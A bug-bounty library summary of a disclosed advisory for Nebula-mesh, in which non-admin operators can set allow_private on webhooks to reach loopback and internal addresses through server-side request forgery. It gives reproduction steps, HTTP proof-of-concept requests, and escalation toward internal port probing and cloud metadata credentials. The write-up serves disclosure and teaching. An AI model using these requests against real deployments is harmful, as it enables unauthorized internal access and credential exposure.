# Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`

Non-admin operators could set allow_private:true on their webhook subscriptions, switching the dispatcher to an unguarded HTTP client and enabling SSRF to loopback/internal addresses.

- Payout: Research
- Severity: high
- Program: Nebula-mesh
- Found by: adamyordan
- Disclosed: 2026-07-14
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7rx3-5wx3-5v76
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7rx3-5wx3-5v76
- Tags: area:web domain:api domain:web impact:internal-access kind:research platform:ghsa sev:high tech:go technique:regression technique:source-review vuln:access-control vuln:auth-bypass vuln:ssrf

**Target:** Webhook subscription API and delivery dispatcher
**Root cause:** handleCreateWebhookSubscription/handleUpdateWebhookSubscription persist operator-supplied AllowPrivate with no isActiveAdmin role check (ownership check not even called on create); at delivery, AllowPrivate swaps d.guarded for d.unguarded, skipping ValidateWebhookURL's private/loopback/link-local rejection.
**Steps:**
1. Authenticate as non-admin operator (role user) with API key.
2. POST /api/v1/webhook-subscriptions with `{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}` — returns 201, allow_private persisted.
3. Control: same request with `allow_private:false` returns 400 private/loopback rejection, confirming guard active.
4. Trigger a lifecycle event on an owned host via `POST /api/v1/hosts/<id>/block` and `/unblock` (200 OK).
5. Server dispatcher POSTs event JSON to the internal listener.
6. GET /api/v1/webhook-subscriptions/<id> to read last_status/last_error as a reachability oracle.
**How found:** Noticed allow_private was the only tenant-impacting toggle not gated on isActiveAdmin, introduced with managed webhook subscriptions (PR #258) and missed by two prior fixes for the same authz-gap class (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc); traced the field to the dispatcher's guarded/unguarded client swap.
**Exploitation:** Low-priv operator self-mints a CA, creates a host, registers a webhook with allow_private:true pointing at an internal address, then fires host block/unblock events to make the server issue blind POSTs to internal services; delivery status/error strings leak reachability.
**Escalation:** Reachability oracle via last_status/last_error enables internal port/service probing; potential cloud metadata credential exposure where IMDSv1-style unauthenticated access is allowed.
**Insight:** When a codebase gates privileged toggles on an admin check, enumerate every boolean field persisted from user input and diff against that gate — a newly added feature field is the classic miss, especially where prior advisories fixed the same class elsewhere.

## Proof of concept (copied exactly from the original report)

**Non-admin creates webhook with allow_private true**

```
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}
```

**Host lifecycle events trigger SSRF delivery**

```
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
```

